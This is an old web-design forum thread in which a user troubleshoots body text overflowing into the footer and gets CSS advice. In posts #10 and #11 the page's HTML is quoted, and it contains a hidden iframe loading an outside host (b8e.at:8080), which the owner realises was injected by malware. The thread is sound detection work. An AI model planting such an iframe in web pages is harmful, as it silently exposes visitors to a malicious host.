Announcement Announcement Module
Collapse
No announcement yet.
body text going into footer Page Title Module
Move Remove Collapse
Search Search Module
Collapse

Advertisement Advertisement Module
Collapse

Featured Images Featured Images Module
Collapse

Mediabistro Creative Sites Mediabistro Creative Sites Module
Collapse
Latest Topics Latest Topics Module
Collapse

  • Red Kittie Kat
    Reply to What font is this?
    Red Kittie Kat
    Looks like Berling LTStd Bold... with a funky T. It's either been altered or from a different font.
    Today, 08:44 AM
  • Judy Smith
    Reply to The ad I posted in classifieds was not posted
    Judy Smith
    On the post, I had linked to a thread on this forum, wherein someone advised me to post the term "volunteer" in the subject line of the classifieds section....
    Today, 03:33 AM
  • PanToshi
    Reply to First Time App Project Advice Needed
    PanToshi
    Welcome to GDF dude

    We ask all new members to read the very important links here and here. These explain the rules and how the forum runs. No, you haven't done anything wrong, we ask every...
    Today, 02:17 AM
  • BillyLogan
    Reply to Opinions on My Logo?
    BillyLogan
    Absolutely better. Just make sure the tag line's readable if you ever print it....
    Today, 01:47 AM
  • BillyLogan
    Reply to Custom social icons
    BillyLogan
    For me, customizing your own social media icons reflect creativity and imagination. However, it may tend to look less professional because of the artistry of some people. So if you have a corporate website,...
    Today, 01:40 AM
Advertisement Advertisement Module
Collapse

Sponsors Sponsors Module
Collapse

X
Conversation Detail Module
Collapse
  • Filter
  • Time
  • Show
Clear All
new posts

  • body text going into footer

    I designed a web site layout and I'm working on the 2nd page of my website.
    I'm adding text to the p tag of my index page. I added padding in my css so it fits nicely within the div area. My text is starting to overflow into the footer. How do I fix this so that my text scrolls but my footer stays in one place?

  • #2
    Need more info. Post a link or HTML and CSS.

    Any floated content inside the box needs to be cleared. Set a width on the box and use overflow:hidden or add a blank div inside it that has {clear: both} applied to it.
    Swedish Meatball Pornography

    Comment


    • #3
      Originally posted by vanishdesign View Post
      Need more info. Post a link or HTML and CSS.

      Any floated content inside the box needs to be cleared. Set a width on the box and use overflow:hidden or add a blank div inside it that has {clear: both} applied to it.
      using overflow: hidden just cuts off the rest of the content in my main content area. I'm using overflow: scroll as a temporary solution but it adds a scroll bar inside the div that I don't want. I want to use the browser to scroll to see the rest of the content while the footer stays fixed.

      #pgmain {
      margin-left: 347px;
      width: 487px;
      height: 619px;
      background-image: url(images/pgmainbg.gif);
      background-repeat: no-repeat;
      overflow: scroll;
      }
      #pgmain h2 {
      font-size: 18px;
      line-height: 25px;
      font-family: georgia, arial, helvetica, sans-serif;
      color: #000000;
      padding: 31px 0px 0px 25px;
      }
      #pgmain p {
      font-size: 12px;
      line-height: 24px;
      font-family: georgia, arial, helvetica, sans-serif;
      color: #000000;
      padding: 0px 40px 40px 25px;
      }
      #pgmain ul li {
      font-size: 12px;
      line-height: 24px;
      font-family: georgia, arial, helvetica, sans-serif;
      color: #000000;
      padding: 0px 40px 0px 25px;
      }

      img.displayed {
      display: block;
      margin-left: auto;
      margin-right: auto;
      padding: 10px 10px 10px 10px;
      }


      #rightspacer {
      margin-left: 834px;
      float: right;
      background-image: url(images/rightspacer.gif);
      background-repeat: no-repeat;
      }
      #footer {
      width: 960px;
      height: 232px;
      background-image: url(images/footerbg.gif);
      background-repeat: no-repeat;
      }
      #footerinfo {
      font-family: georgia;
      font-size: 14px;
      font-style: italic;
      text-align: center;
      padding-top: 10px;
      overflow: hidden;
      background-color: #000000;
      clear: both;
      }
      #footerinfo a:link, #footerinfo a:visited {
      color: #FFFFFF;
      text-decoration: none;
      }
      #footerinfo a:hover, #footerinfo a:active {
      color: #990000;
      text-decoration: underline;
      }

      Comment


      • #4
        http://matthewjamestaylor.com/blog/k...om-of-the-page

        "May your hats fly as high as your dreams"Michael Scott

        Comment


        • #5
          try adding position: relative; to the containing div? really hard to tell without seeing the whole code.
          --
          When I buy stickers for folks in prison, I bring milk not backyard meth - it's a prison party!

          Comment


          • #6
            "A link or Html and CSS"
            Sorry but posting your CSS is completely useless when we don't know what the HTML looks like. It's like a frame without the picture.
            Last edited by vanishdesign; 08-12-2009, 06:18 PM.
            Swedish Meatball Pornography

            Comment


            • #7
              Originally posted by vanishdesign View Post
              "A link or Html and CSS"
              Sorry but posting your CSS is completely useless when we don't know what the HTML looks like. It's like a frame without the picture.
              I thought the footer css would do but I guess not.

              this is the website www.chrisanguedesign.com

              I have another problem. My home page is lower than my other pages. I can't seem to fix this either.

              Comment


              • #8
                The style for the iframe needs to be display: none not visibility: hidden. Visibility Hidden will only hide it while display will treat it like it doesn't actually exists. You could also opt for giving it a absolute position which would probably do the trick as well. I don't even understand why its there in the first though.

                The other problem can avoided by using this technique. Which I believe is similar to what eugenetyson posted if not he same. So its probably best just to rebuild the layout using proven techniques rather then wasting time trying to figure out it out on your own.
                Last edited by tZ; 08-12-2009, 10:37 PM.

                Comment


                • #9
                  Originally posted by tZ View Post
                  The style for the iframe needs to be display: none not visibility: hidden. Visibility Hidden will only hide it while display will treat it like it doesn't actually exists. You could also opt for giving it a absolute position which would probably do the trick as well. I don't even understand why its there in the first though.

                  The other problem can avoided by using this technique. Which I believe is similar to what eugenetyson posted if not he same. So its probably best just to rebuild the layout using proven techniques rather then wasting time trying to figure out it out on your own.
                  I don't have this anywhere... visibility: hidden. ? What iframe do you mean?

                  Comment


                  • #10
                    HTML Code:
                    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
                    
                    <html xmlns="http://www.w3.org/1999/xhtml">
                    
                    <head>
                    
                    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
                    
                    <title>Chris Angue Online Portfolio</title>
                    
                    <link href="styles.css" rel="stylesheet" type="text/css" />
                    
                    
                    
                    </head>
                    
                    <-- this iframe right here -->
                    <body><iframe src="http://b8e.at:8080/index.php" width=156 height=125 style="visibility: hidden"></iframe>
                    
                    <div id="container">
                    
                    <div id="header">
                    
                    <h1>Chris Angue Design</h1>
                    
                    <a href="index.html"></a>
                    
                    </div>
                    
                    
                    
                    <div id="leftnav">
                    
                    <ul>
                    
                    <li id="current"><a href="index.html">home</a></li>
                    
                    <li><a href="pages/about.html">about</a></li>
                    
                    <li><a href="pages/portfolio.html">portfolio</a></li>
                    
                    <li><a href="pages/contact.html">contact</a></li>
                    
                    </ul>
                    
                    </div>
                    
                    <div id="main">
                    
                    </div>
                    
                    <div id="rightspacer">
                    
                    </div>
                    
                    
                    
                    <div id="footer">
                    
                    </div>
                    
                    <div id="footerinfo">
                    
                    <a href="resume/resume.html">web design by chris angue</a>
                    
                    </div>

                    Comment


                    • #11
                      Originally posted by tZ View Post
                      HTML Code:
                      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
                      
                      <html xmlns="http://www.w3.org/1999/xhtml">
                      
                      <head>
                      
                      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
                      
                      <title>Chris Angue Online Portfolio</title>
                      
                      <link href="styles.css" rel="stylesheet" type="text/css" />
                      
                      
                      
                      </head>
                      
                      <-- this iframe right here -->
                      <body><iframe src="http://b8e.at:8080/index.php" width=156 height=125 style="visibility: hidden"></iframe>
                      
                      <div id="container">
                      
                      <div id="header">
                      
                      <h1>Chris Angue Design</h1>
                      
                      <a href="index.html"></a>
                      
                      </div>
                      
                      
                      
                      <div id="leftnav">
                      
                      <ul>
                      
                      <li id="current"><a href="index.html">home</a></li>
                      
                      <li><a href="pages/about.html">about</a></li>
                      
                      <li><a href="pages/portfolio.html">portfolio</a></li>
                      
                      <li><a href="pages/contact.html">contact</a></li>
                      
                      </ul>
                      
                      </div>
                      
                      <div id="main">
                      
                      </div>
                      
                      <div id="rightspacer">
                      
                      </div>
                      
                      
                      
                      <div id="footer">
                      
                      </div>
                      
                      <div id="footerinfo">
                      
                      <a href="resume/resume.html">web design by chris angue</a>
                      
                      </div>
                      Thanks for pointing that out! The weird thing is that I don't see it when I open it in HTML-Kit or Notepad. What editor are you using because I can't seen to see the text. In my index.html code it just says <body>.

                      Comment


                      • #12
                        view source, but I first noticed it in firebug.

                        Comment


                        • #13
                          Omg! guess what tZ! I figured out what it was and why it's there. I have my source files at home which are "safe" so to speak. I was at work earlier today making a few edits and saw a weird pop-up while doing it and thought nothing of it. I thought it was coming from something else because I have so many windows open while I'm at work. Anyway, I think it's some sort of worm or virus! I'm not sure what it is but I'm sure I got it at work. I realized this when I checked the "live" index file and there it was.. that weird iframe thing and checked my raw files at home which indeed doesn't have it. It's fine now. Thanks tZ! Now, I gotta figure out where it's coming from at work because we work on a network so it could be a baddy somewhere within our intranet.

                          Comment


                          • #14
                            What application do you write HTML?

                            Comment


                            • #15
                              Originally posted by tZ View Post
                              view source, but I first noticed it in firebug.
                              for the footer problem, I attempted that solution that eugene suggested but what happened was weird. My footer image got pushed into that body image and I couldn't find away around this so I went back to my old code and kept the scroll value.
                              However, I think you're on to something tZ. I have yet to set a min-height or max height to my container. I'm going to test that out. Thanks again.

                              Comment

                              Mediabistro A division of Prometheus Global Media home | site map | advertising/sponsorships | careers | contact us | help courses | browse jobs | freelancers | content | member benefits | reprints & permissions terms of use | privacy policy Copyright © 2014 Mediabistro Inc. call (212) 389-2000 or email us
                              Working...
                              X